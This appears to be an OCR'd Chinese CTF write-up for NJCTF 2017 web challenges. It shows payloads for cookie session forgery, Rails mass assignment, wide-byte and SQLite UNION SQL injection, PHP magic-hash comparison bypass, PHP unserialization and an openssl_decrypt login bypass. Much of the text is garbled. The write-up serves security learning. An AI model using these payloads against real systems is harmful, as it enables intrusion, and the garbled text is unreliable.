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Registered? Login ~

for your security, password should have at least 3 of (humbers,upper-case lower-
case,special characters)
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[d CSDN-markdowns x . [&] mysqiZE2&KEE! x  P§ MySQLERgroup ¢ x | 28

< C | ® 218.2.197.235:23731/getflag.php

we search the database, and you are qweasdzxc .
you are not admin, |l won't give you the flag!
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218.2.197.235:23731 &/~ :

Account gdmin has already exists

Please change your username!
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User Regist

MARBE IR F R mysqAE B A FERMAR KK RSB | AR AT LA IEA RadminfE 2 Fr BUE Zadminff F F 4

XRBR RN, BAHSTRINBE T adminf B —H, K5 HKSadminfl %55 123QWEasd & [ 5t 7T AR T !

Get Flag

THiG R EA—ASCfFEE I jpg T AR B — B, RERNBEEMA—ARTE, 123, RFERATTUAR TR



P>

Audits

(x ﬂ Elements Console Sources Network Timeline Profiles Application

html>
head
Jhead>
¥ <body>
(img src="data:image/png;base64,Y2Fe0..zdWNoIGZpbGUgb3Tg7Gly/WNBb3]5"> == $8
/body>
fhtml>

RJE & — N baseCAMFRLINR, MRIEME — T KILRXFHER

RGBT I R catE#, HIEMEHbashKERAF! WG UEHI 1T, B4, FHMPLIE T, EREEAHFILIE, ALl
A LEG XA S, AWHISEEI B, SERA, MEERER, E0E11.jpgkls ../../../ BIBREELZIMT:



B mERE AT, TEBMNHYE 11. jpg&eat ../../../91ZM2qTEMq6750dIp%! 0Im2%M4 ! nhS_thi5 flag FEfEIGEHERIER!

NICTF{® _ " }cat: images/11.jpg: No such file or
directory
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Chall |
google HRAMF AT, R —Thack nodejsEl#k®| T —H BEARLIKI SR ORI L BA EEEE2MAE, KREIE T !

BB T I R http://218.2.197.235:23729/ BEEIMFAFANRETC, RERMNMWBFELRAMH 2 #HEE. REHFHFF12E5—
TiREME. BEARRZ s, FATALLE BlFangularjsfimainjs, THE—FE —MITFREE X, MBAIZBMEKRIRERE
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passwordApp = angular.module('passwordipp', [1):

swordApp.controller('PasswordCtrl', function ($scope, S$http, S$window) {
scope.password = '';

scope.login = {}:

scope.enter password = function() {

Shttp.post (| /login], {password: $scope.password}).then(function(response) {

console.log(response.data) ;

— if(response.data.status == 'ok') {

B Swindow.location.href = |"/admin”
}

B S$scope.login = response.data;

= }, function(response) {

console.log(response.data) ;
S$scope.login = response.data;
E 1) :

—] $scope.logout = function() {

Shttp.get('/logout'].then(function(response) {
if(response.data.status = 'ok') {
$window.location.href = "/admin™;
}

}, function(response) { }):
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ENTER
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-
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password wrong: 202cb962ac59075b964b07 152d234b70

[x ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits

View: 8= == | [J Preserve log [J Disable cache | [J Offline No throttling v

/) Regex [J Hide data URLS@ XHR JS CSS Img Media Font Doc WS Manifest Other

I 500 ms 1000 ms 1500 ms 2000 ms 2500 ms 3000 ms 3500 ms 4000 ms 4300 ms 5000 ms 5500ms 6000 ms 6500 ms 7000 ms 7500 ms

Name x

|| admin Host: 218.2.197.235:23729
[ | mainjs Origin: http://218.2.197.235:23729
Referer: http://218.2.197.235:23729/admin

User-Agent: Mozilla/5.@ (Windows NT 10.@; WOW64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
|| angularjs

¥ Request Payload VIEW source
U login
¥ {password: "123"}
5 requests | 1010 B transferred | F.. password; 71237

s Preview Response Cookies Timing

|| bootstrap.min.css

REFMRAERAER

h ALLSprLanyuays. Lu-un, L, y-v.e
| admin ¥ Yuay s2isy

Connection: keep-alive

8000 ms

8500 ms

 stylecss Cookie: r'emember;token:ArUavijansw—Zy91yu0g;| session:ethZGlpbiIG]mvane:;Isession.sig:Uw—lgOYijIZLRIXsdHBtVZEKfe
J main,js Host: 218.2,197.235:23729
| bootstrap.min.css If-Modified-Since: Sun, @5 Feb 2017 14:14:45 GMT

eyJhZG1pbil6Im5vin0=f##5 {“admin”’no"}, IR RyesiT T ? 1ERIX B R AT I B LUK R AR AR FoAds 753k

RIETH? 2 2 BN EIRIFE, fEgithub B3R, #FREEF bibibibibibibibibibibibibibi~#RE|— MRS ! B EHZZ FHL

< c | & GitHub, Inc. [US] | https://github.com/0lddriver/app/blob/04df96febdc004cbe8b66d6aff7a33e7ff8db70b/views/admin jade

[ olddriver / app @Watch~ 0 ¥ Star

<> Code Issues 0 Pull requests 0 Projects 0 Wiki Pulse aphs

Tree: 04df96febd ~ | app / views / admin.jade

Olddriver add

0 contributors

Executable File 22 lines (19 sloc) 630 Bytes Raw  Blame

extends layout

block content
h1 i ¥k, bibibibibibibibibibibibibibi~ d—
#container.col
if admin === 'yes'
p MR, admin #{flag}
else

P

br

Find file

% Fork
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History
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Copy pat
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RIERAESR
var pwd = parselnt(endata.slice(0,3),10); #:K 5 =17 Z%s 5103t 1 %
password = new Buffer(pwd); #H 15— pwd K /N HIZE M X

XEBERMNESXHEFERLSZMXEHK . Filpostwo KB EESHIREE!
Buffer(num)Z& i [X i H k)
RIERIEpoSti B EERT .

AT, BABEE LR E g%, RESH#H—PEI—T! FREAchall

chall Il

BNEE LEMRE, BREALYKEFadmind R &, &%, ERBRadminX T

{

BESR UL T A THMACHEY T, HMa—ER~RRARE T mFEHEIEIE, MakEllseesion keysn b E—AMlag, 2RJ5 & EadminBRiNVIRES
Ayeshe B Lt e ? A 2R (G382 B9 Wkt AT B2

A HHE 2 ARG B BB IN Nadminyes, fEsecret_keyt AINJCTF{P1e45e_s3arch_th1s_sOurce_cod3 Olddriver}z J5%& i, 52|
sessionfllsession.sig 243 7 Nsession=eyJhZG1pbil6InlicyJ9; session.sig=DLXp3JcD10X3c8v4pUgOAn-pDYo;

XEU—TM EfwriteupZE A EEE P4, N TFHFLERBEN ! EIEFEMP THnodejs, HRAE—BREN! RE
BB, M —5, fEapp.jsHinAapp.listen(2000); 3 Rnodejs® T4 200055 1, 4R J5 15 1A A1#8127.0.0.1: 2000807 !


https://github.com/nodejs/node/issues/4660

basedir=$(dirn x| [& NJCTF 2017 we x | [7 Baseb4/f5/8

x . [@ CSDN-markdo: x . [% admin
¢ — ¢ [® 127.0.0.1:2000/admin |

X g\thubﬁﬁlﬁ}? x / [} admin

hxe :
Demo C

1553, bibibibibibibibibibibibibibi~
XA, admin

[w ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits
® O B Y  Vew =

PX
= Preserve log Disable cache Offline No throttling v
Regex Hide data URLs [Al} | XHR JS CSS Img Media Font Doc WS Manifest Other
I 50ms 100 ms 150 ms 200ms. 250 ms 300ms 350ms 400 ms 450ms 500 ms. 550 ms: 600ms 650 ms 700 ms 750 ms 800 ms

Name X | Headers | Preview Response Cookies Timing
— " e e .
| stylecss =
bootstrap.min.css Cool session=ZPRL Vel FRFNINIERE ;. session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo I
- o oSt 127.0.0. 1:2000
angularjs
L angular) Pragma: no-cache
| | mainjs

M Referer: http://127.0.0.1:2000/admin
5 requests | 1.0 MB transferred | F.

User-Agent: Mozilla/5.0 (Windows NT 16.8; WOW64) ApplekebKit/537.36 (KHTML, like Gecko) Chrome/S6.0.2924.87 Safari/537.36
Console

B app-master.zip &

PSR | X



“,! Burp Suite Professional v1.5.18 - licensed to LarrylLau - L] X

Burp Intruder Repeater Window Help

[Target T Proxy T Spider I Scanner T Intruder IRepeatef I Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

1«2 = |3 =« | .
[iJ Cancel < > v Target: http://218.2.197.235:23729 liJ u
Request Response
J RawT Params T Headers T Hex ] j RawT Headers T Hex I HTML T Render 1
GET /admin HTTP/1.1 & HTTP/1.l 200 OK A
Host: 218.2.197.235:23729 - Server: nginx/1.10.2 P
User—-Lgent: Mozilla/5.0 (Windows NT 10.0; WOWE4: Date: Sun, 19 Mar Z0L7 03:37:459 GMNT
rv:51.0) Gecko/2010010L Firefox/51.0 Content-Type: text/html; charsst=utf-8
Cookie: Content-Length: 104&
session=eyJhIGlphiléInlleyd9;session. sig=DLXp3JcDloXicE Connection: keep-alive
VARPUgOAN-pDYo; ¥-Powered-By: Express
Aocept: ETag: W/ "4le-xk71VOSkvyliwylLDnwkP50"
text/html, application/xhtml+xml, application/xml;q=0.9, *
J*rg=0.8 <!DOCTYPE html><html
Aocept-Language: zh-CH, zh;q=0.8,en-US;g=0.5,en;q=0.3 ng-app="passwordipp”r<headr<titleradmin</title><link
Aocept-Encoding: gzip, deflate rel="ztyleshest" href="/styleshesets/style.css"><link
Connection: keep-alive rel="styleshest"
Upgrade-Insecure-Recuests: 1 href="https://maxcdn.bootstrapcdn. com/bhootstrap/3.3.6/c
s=/bootstrap.win.css"»<script
sro="/bower components/angularjs/angular.js"></scripts<
script
src="/javascripts/main.js"></scriptr</head><hody
ng-controller="PasswordCtrl"><nav class="navbar
navbar-inverse navbar-fixed-top"s<div
class="container"><div class="navhar-header"><a
class="navbhar-brand">Demo</a></divs><divs<ul
class="nav navbar-nav"><lix><a
href="/">index</a>»</li><li><!--ajhref='/admin')
admin--»></ lir<li»<a href="#"
ng-click="logout () ">Logout</as></lir</uls></dive</dive</n
ave</bodyr<div class="container":> <div
clags="starter-template"><hl>000,bibibkibibibibibibibibi
bibibi~</hl>»<div id="containesr"
class="col"><p>0000, admin
TkpDVEZ7TIBRMUp T S5pivSLiW 5 SHMSLiK5pyASaW955qE6K+ L6 KiAT Ty
M5a+55ZCXTTYEEQ==</p><div ng-if="login.status ==
'error'" class="alert
alert-danger"><p>{{login.error}}</pr</dive</dive</dive<
Jdive=</html>
e e
| v
? = + = ‘ 0 matches ? % + = Type a search term 0 matches
Done 1,271 bytes | 320 millis
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blog

BASEBAL] FETH ThE PP

i ERSRRERENES -
TenTVE I iHkRUn Thp il Mo WL A o A5l 5 oF GF+0 AL AT TG+ BETCRT Tad 0=

___________

Basebd BT
BateCLMRMTER T BIET ( F'Pa24 ) WHLHITHONIET (46014 ) , ZEECErMEITT0 . 3
TR, NMMTSETRRIET | AR Sesmel e MAREEG s e R [ bubyo360en )

A B JENBEAE B EREABIIRG, KT . JR IR HRRGUE H g T IR ? BLERAS AIEEM L. B Z githubiE R "X B
BHREERN BRI T RAE.

ME—TRAMG, KARANF S KEE, EFEIRECM R /db/schema.roHH — A IFEIE R R T

5 create_table "users", force: true do |t]

.3tring "name"™

.8tring "email"™

.datetime "created at"”

.datetime "updated at"”

.3tring "password digest"”

.8tring "remember token"

.boolean "admin",

RICERRBHHE —Nadmink T, 1 HEAKBRINMEA Rfalse. QSRR HiEuserlll, EF HIFKS A @,

<label
<input

<label
<input

<label
<input

<label
<input

RILE A admi

for="user_name">Name</label>
type="text" name="user[name]" id="user_name" />

for="user_email">Email</label>
type="text" name="user[email]" id="user_email" />

for="user_password">Password</label>
type="password"” name="user[password]" id="user_ password" />

for="user_password_confirmation">Confirmation</label>

type="password"” name="user[password confirmation]" id="user_password_confirmation"

nAR—TiT, FRAWRIN ERARBAR TYE? I E] T XA

/>



cHTHERGE i MDh/ o ay| @x|BE =T E
Ecunﬁg.jsl Eapp‘_isl Eim‘lex.jsl Eadmin.jadel Eim‘lex.jsl B mrptrhon. pyl B new 2| B new 4| B uzers_helper.rb

@ e DB B E| &Y

|| _user. html. erb

1 <1i>

L]

3

4

S

6

7 data:
8 «% end %>
8 </li>

{ confirm:

<%= gravatar_for user, size: 52 %>
<%= link to user.name, user >
<!'-—flag is here-—>

<% if current user.admin? &£& !current_user?(user) %>
<%= link to "delete"”, user, method:
"You sure?" } %>

:delete,

THHIEKS, REHEpostiIN Luserfadmin]=1

l’ Burp Suite Professional v1.5.18 - licensed to LarryLau

Burp Intruder Repeater Window Help

Target | 70 | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

Mmm— e

Go. Cancel <|r >|v

Follow redirection

Target: http://218.2.197.235:23721 | # | | 7

Response

Raw | Headers | Hex | HTML | Render

Request
Raw | Params | Headers | Hex
FOST /users HITF/L.L H]
Host: 218.2.197.235:23727 r
User-Agent: ¥ozilla/S.0 (Windows NT 10.0; WOWG4: rv:S2.0) Gecko/20100101 Firefox/S2.0
Accept: text/html,application/zhtml+sul, application/sul;q=0.8,%/%;
Accept-Language: zh-CI, zhq=0.8, en-US;q=0.5, en;q=0.3
Accept-Encoding: gzip, deflate
Referer: hetp://218.2.197.235:23727/signup
Cookis:
_sample_app_session=WKNZaTVwlmd 2ol LNGXXUT VS LpDOIVLLI puczC Rk zMVV4T3 FHOZE HThioU GHY T3 15Y3 prilix 1 cET 0=3 RIAEFLAMRUCAZ
TIT Lyt oF 2ReDQuenFE Y] 1 2cV 2= VavR3EYY; xemLsOUNFLOLT T2hjQ1Ranl5dAGIRZVFYVU L
TiZ ZVARvaINE 23 U4 Tkp ESVIL Mo wa LHyNF g2 UEFIVE 12U TINLS 1 0b XIPUGHUVWE £ VAT 2kzAHVEALVNF TD% 3 D-~acce 127516250043 6cA3df £1h
28284cEdb5ETde
Comnsction: kesp-alive
Upgrade-Insecurs-Bequests:
Content-Type: application/x-wwv-form-urlencoded
Content-Length: 312
uLfA=%ED icity_ 242F LetepQl5FrkLes 2 BCF uhd 5t éndyGenfdc HOWFD 22 mBORS OIOLWE THGHPo 7S Pars AF 1N 2F
12Zeght LaRESVw*3D%3Dsuser t SEname* SD=adavangl23 cuser s 5Bemail% 5D=27192362623% 40 123admini23
susersSBpassvord_confirmations5D=123adninlldscomnit=Creats+my+account suser [admin] =1
L
v
<||+]|[> 0 matches

HTTE/L.1 302 Found
Server: nginx/1.10.2

Date: Fri, 24 Mar 2017 02:00:08 GNT
Content-Type: text/html; charsst=ut
Content-Length: S&

Connsction: keep-alive
¥-Frame-Options: SAMEORIGIN
H-¥ss-Protection: 1; mede=hlock
¥-Content-Type-Options: nosniff

T

£-8

Location: http://218.2.197.235/users/837
Cache-Control: no-cache

d: el 2 7-7322h121320€
¥-Runtime: 0.367180

Set—Cookiz:
_sanple_app_session=aFZrlZad2dTeTdIVAY2Q2VGU] LNTn1vYOF 2b LAKNGpPNit PRTGINZAF c2dF s NUTEVS T1ZGV1hGUUpUOGh¥bGSSY L1 1]
TnVytPUmDze WY ZnlUORKU3 U3 1UYOVObES 1c 1Vy YOpsR 110711 ShHZEZ0nS DI SHD Lo QytGNEN IN1E Lc 3 BR YWz oV ZrNUEZ VTV Cek Y4Mke 4 aDF HaF Ly
VI1FsaVVoSzlxc]LeSnl2 K1pUlnh3c LFx Y0c3 UySChHAnML LEN2 dhZ0Z LL2NGIXEEVW3hD LU zE5 OXpDbKVIR 1903 RUAGI KT LA4R2 4413 LDDRNCED
5204t QXA Tx 5 AVhOY 1 dcaWt UekRF Qs Zre Wud RD LnWEANCF pEb TIEY zhRUGHOVUpEeVV4 dwl u0XcILS 1v EOdERHZnll dyNTBLCGIG 23 0v 2k 3ETOY
3D--171976a0a83 15853 128390308004 2d85h4d=6856; path=/: HLponly

I<hcm1><bady>nu are being <a href="http://2L8.2.197.235/users/837">redirecteds/ a>.</hody></html> I

L
v

0 matches

1.029 bytes | 410 millis
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[@) lara x (@ CTF x ( [J Der x (2 NJC X (2 NIC x % NJCx o NJCx ( [§ Bas x ( MXC x ( AXC x ([@csi x ( [§ NICx / [§ Der x — X

& C' | ® 218.2.197.235:23747/users x4
-
— PTevio Z 3 3] 9 - 0 Next —
E admin | delete
-
[x ﬂ Elements Console Sources Network Timeline Profiles Application Security ~Audits :oX
® O B Y View: == Preserve log Disable cache Offline No throttling v
Regex Hide data URLs [\l] | XHR JS CSS Img Media Font Doc WS Manifest Other
I 100 ms 200ms 300 ms 400ms 500 ms 600ms 700 ms 800 ms 900 ms 1000 ms 1100 ms 1200ms 1300ms 1400 ms 1500 ms 1600 ms 1700 ms 1800 ms 1900 ms 20)

Name X Headers Preview Response Cookies Timing
45 CILOALL USErS</ 1L
| | users 29 -
application-a548a4f50b5c5dag46c47c 50 <div class="pagination"><ul class="pagination”><li class="prev previous_page disabled"><a href="#">&#8592; Previous</a></1li> <li class="active"><a href=
- 51
|_| application-8285bdéd2a40d17caSefdc 52 <ul class="users">
[@ abafb6207747aa5941311cf2f6507c88 53| «li>

54 <img alt="admin" class="gravatar" src="https://secure.gravatar.com/avatar/ab4afb6207747aa5941311cf2f6507¢88" width="52" height="52" />
@] 1b47f93534340467ba01692e169128¢ 55 <a href="/users/51"sadmin</a>

@ d7d3782d689asc21239bbff6105783d: 26 <1--flag is here--

|@ 149b5dbbbée38def6af6406ea22ecIsf B IR {Gams1-0C ! *XzpYn0dgTx7 jbniiwaleCo ) N
@ béc7cdb666a184b187f39072e2fcfBac T

a-method="delete" href="/users/51">delete</a>

© 1 6o <li> -

34 requests | 169 KB transferred | Finis..| gq »
Console X

B 47ca0d1b-4218-..rar ~ 2785 | X

come on
BEASG—FERET, ERREE CHMAMALR, RRAAS, WHEFTEARR BT AT !

BEABAMERN T, RIBLKRERLERT . REWEREMHILE/ RN EBREARMTAEE, BLAMREET, RERINE—
TEFHHIMIE http://218.2.197.235:23733/index. phpkey=1%df%27| |1=1%23 R/EKAEEE, A RNIHAT LSR5 H
FI1=1EE B H B .




Wallet

BHARNEETH, fhiicookieli iy T, ARMIFEAMENFZMH L, REEAERIAVEHCELBRFT AL, REMREHT
m! AT AERE—-TERERSER. RAMWREdifuzz-master, \TAEHDZE—TF

dirfuzz-master


http://download.csdn.net/my

<. php
.html

WG ARSI Mwww.zip, RSUEGRSEOS? HERE TRBREOFEASRM, REREFRNLEKINEHRnct2017 .47
TF G B RS .

EREFE THATRIL.. . BRREEMER, &5 phpim, #H— MR 1M 5515 2] EG



(shail((string) ) == md5((string) )) {

3

setcookie( . )5

setcookie( , shal((string):<));

[ D) A
SQLite3( , SQLITE3_OPEN_READONLY);

SQLITE3::escapeString( [ 1);

->querySingle( )5
== )

H % 7% 5 F (sha ((string)$hsh) == md5((string)$auth)) ==, HitOexoxit) BF (b AR 103 HI %), LBt i) H 1
(S2hs ERBIZE ) o Lk

Ak A8 fpythontk — T, ERAMBEEE —T

MD5{E =







RIER AT MHIsqliteIIEN, ZRTREABEMTXA, FE# -TRIURBRREANEN. BiksqliteMsqRRK—#, AR
%15 B#H fEsqllite_masterix M EH, 2 TATA LB Rtbl namesF namek BIHIEEFEH 2%, RERINT LU HsqER
HAPITiEARLR. RERMNE— T, WmE




import requests

url = http: 218.2. 7.235:2372 admin.php? e =-1 nion select thbl name fro sglite aste limic

url = 'http: 218.2.197.235:23723/admin.php? ery=-— nion select group concat (name freo sglite aste
s={'auth':"2406 7 ", 'hsh':" 932435 2"}

print requests.get(url,cookies=s).text

arl = 'http://218.2.197.235:23723/admin.php?query=-1 union select group concat (tbl name) from sglite maste:
s={'auth':"240610708",'hsh':"10932435112"}

print requests.get(url,cookies=s).text

url = 'htep: 218.2.197.235:23723/adnin . php?querv=—1 union select aroup concat {sql Frrm aqlite master

s={'auth':"240610 ", ,'hsh':"109324 2"}
print requests.get(url,cookies=s).text

url = 'http: 218.2.197.2 :23723/adnin.php?querv=—1 nion seslect id from flanq
s={'auth':"240610708", "hsh':"1093243 127}

print requests.get(url,cookies=s).text

=¥ PAUSE — O X

not null, :

unt int
d 5

Text wall

RBIERBT X AKEE.. HEZEIJETHHRAT, BhAEAREHZFER—BEZR, HAEMHAWER, HBTELTLZ bak,
BEREFILR, EERRENLZ swol B, FHAVRMAITE http://218.2.197.235:23721/.index. php.swo

highlight file( ).highlight file( ->source, );

RIGEATT LR BIE — A Slisthd, &F HKilelist, EB/ERNAEFE _ toString)X /M E%! Bk toString()~& M4 Km] LA
BRI REBRXETH—T



->name =

Person(

3

->say();

TRT B AR 24 R B 8 P X N object I RHE, #HIR  tostring) B EF RN A . BAIEAEE XA tostring()&J5 iR B K 2%
H$sourceT & CHXHBRR) XU . AR LU X /M5 Blindex.php i 58 8 304
RIERRAIVE WL — T postZ JG RAT AR

= C | © 218.2.197.235:23721 e

Please Get Flag!!

hiehiehie123 '# 123123 ﬂ
O:8:"filelist":1: O:8:"filelist":1: 9f57a6efb19d4e418d5c4284ef002eb4ed
{s:6:"source";s:9:"index.php"; {s:6:"source";s:9:"index.php";} {s:1:"a";0:8:"filelist":1:
{s:6:"source";s:9:"index.php";}}
hiehiehie | submit |
= dirsearch-master.zip o L£TER X

RIEEANTMEE — Fcookiex KMRE B, 402 EHRFIIMMHKIARTE, #T40fiR2shatl(40fr 2 EHINE). THBRIKRIRF
FILEI AR TR R, AT UL Acookiefsfl, MBIRFEFFHL T H+ KcookieZ B Kk ¥ 51L& HI1E .

L4 E&BATER Blindex.php T EEFK__tostring ) . BATHEFFIMLEIE (RFFIMLER— Milelistds, $sorcefd 2K
TTEERK®RE, XHERFIME) XERMWEDT



highlight file( ).highlight file( ->source,

filelist();
= filelist();
->source =
->source=50;
=serialize(’2);
=shal(’d).%c;

urlencode(’¢);

IXAN I 5 H $oiX AN I B 1%, $b->$sorce=$a. Fifay H Sa i i ik 5t < fih & $al)_ tostring()e& i .
BRLRINT:

¥ 2 i B cookiez H Hlists R AT LLS 3] T YEAG !

EEEX b

highlight file( ).highlight file( ->source, );

= filelist();
->source =

= ($b);
=serialize(’2);
=shal(’d).%c;

urlencode(’¢);

8 3|cookie




i Burp Suite Professional v1.5.18 - licensed to Larrylau
Burp Intruder Repeater Window Help

(G

Raw | Params | Headers | Hex | Raw | Headers | Hex | HTML | Render |

Target: hitp://218.2.197.235:23721 | & ||

GET /index.php HTTP/L.1 L  HTTP/L.L 200 OK

Host: 218.2.197.235:33721 r Server: nginx/1.10.2
Tser 11a/5.0 (Windows NT 10.0; WOWE4: Date: Wed, 05 Apr 2017 I
rev: 2cko/20100101 Firefox/52.0 Content-Type: text/html:
Accepe: Content-Length: 997
text/html, application/xhtml+tuml, application/sml; q=0.9, * Connection: ki

[*:aq=0.8

X-Powered-By:
ry: Accept-Encoding

Accept-Language W, 2h;
ccept-Encoding , deflate
Connection: keep-alive <title>Please Get Flag!!</titles
Upgrade-Insecure-Requests: 1 <meta charset=rutf-gr-

ta name="viewport” contens
<link rel

.

device-width, initial-scal
styleshest! href=rvhttp://apps.bdimg.com/1ibs/b
"htep://apps.k Libs/3cquery/2
htep://apps.k

s

ntainerv>
elass="jumbotron’s
<ni>Please Get Fla

>
<div class
pan style

ol-sm-am>
#0000007>

<nI><

</ spans

<span styl r: #0000007>

NICTF{PHP unSerialization a77ack i5 very Interes7ing}</spans
e

<

"hiehiehie”>
"submit">

b
v

e Omaches |

Done

NJCTF{PHP_un5erialization_a77ack_i5_very Interes71ng}

Be admin

HAEBEZEH AMERE, BB, REEHERXHAME—T. B2—EHNER

lex. php

ex. php. bak
ygout. php

b
v
0 matches

1,209 bytes | 1,121 millis

Kl 2 bak UAHERIER, TE/GIHELME 251 104-1301T ERH



B StusernameflipasswordEH N, )5 HqureyEil, R SrowNtrue (BIE#EAEHRIIAIREE, T Hlogin OO R
TERIN AT LU — P IAIE) o BRA AT FA7-541T loginiki £

RILIR EME R H==53ILE ! HF$pass>k H FH F# A\ password, $encrypted_passii 2 b1 ¥ K+ B KEA .

R G FA1E Fphp Fopenssl_decrypt 5 B

A =]
The decrypted string on success 8(& £ M ATIR[B] FALSE.

4 Hitopenss|_decrypt() BB RIKEN T, i HRACEMET EWHEM, RELEWARBEERE, RAERFZESIV]
AR EHANE FEERIE! WEEALT




(PS: -1MFiF TR A EHIREE, fselect 1,1F AFRFEHKIEFENEEFIFESrows R EIE)
HOETE B RN %R TIXE, RERATAT LAE BIREG F SIDF $tokendE

& (& ‘ ® 218.2.197.235:23737/index.php L QU
you are in!
Hello ~~~ ctfer!
Log out
[x ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits PX
® O ™ Y View I= == | [J Preservelog [J Disable cache | [J Offline No throttling v
[Filter |0 Regex ([ Hide data URLs [} | xHR Js €SS Img Media Font Doc WS Manifest Other
| 200000 ms 400000 ms 600000 ms 800000 ms 1000000 ms 1200000 ms 1400000 ms 1600000 ms 1800000 ms 2000000 ms 2200000 ms 2400000 ms 2600000 ms 2800000 ms 3000000 ms 32
Name X Headers Preview Response Cookies | Timj
index.phj
B bl Name /A Value Domain Path Expires / M. | Size HTTP Secure SameSite
¥ Request Cookies 75
PHPSESSID h7ie5gk24iuh850n83k94rn5q3 N/A N/A N/A 36
remember_token ArUavjAXaeZsw-Zy91yuOg N/A N/A N/A 39
s
¥ Response Cookies 66
ID el1gbNjYjYsQHK 9yZ6hnpw?%3D%3D Session 32
token TFcSvpTFUpKADXe OiREXIw%3D%3D Session 34
1 requests | 588 B transferred | Finish: ...
Console X

ID=wN3igCPo2FjsVxDUJ5pj5w%3D%3D
token=X1jsW%2FWCeoYP4pl%2BK22MHQ%3D %3D

CR5ERFEE)
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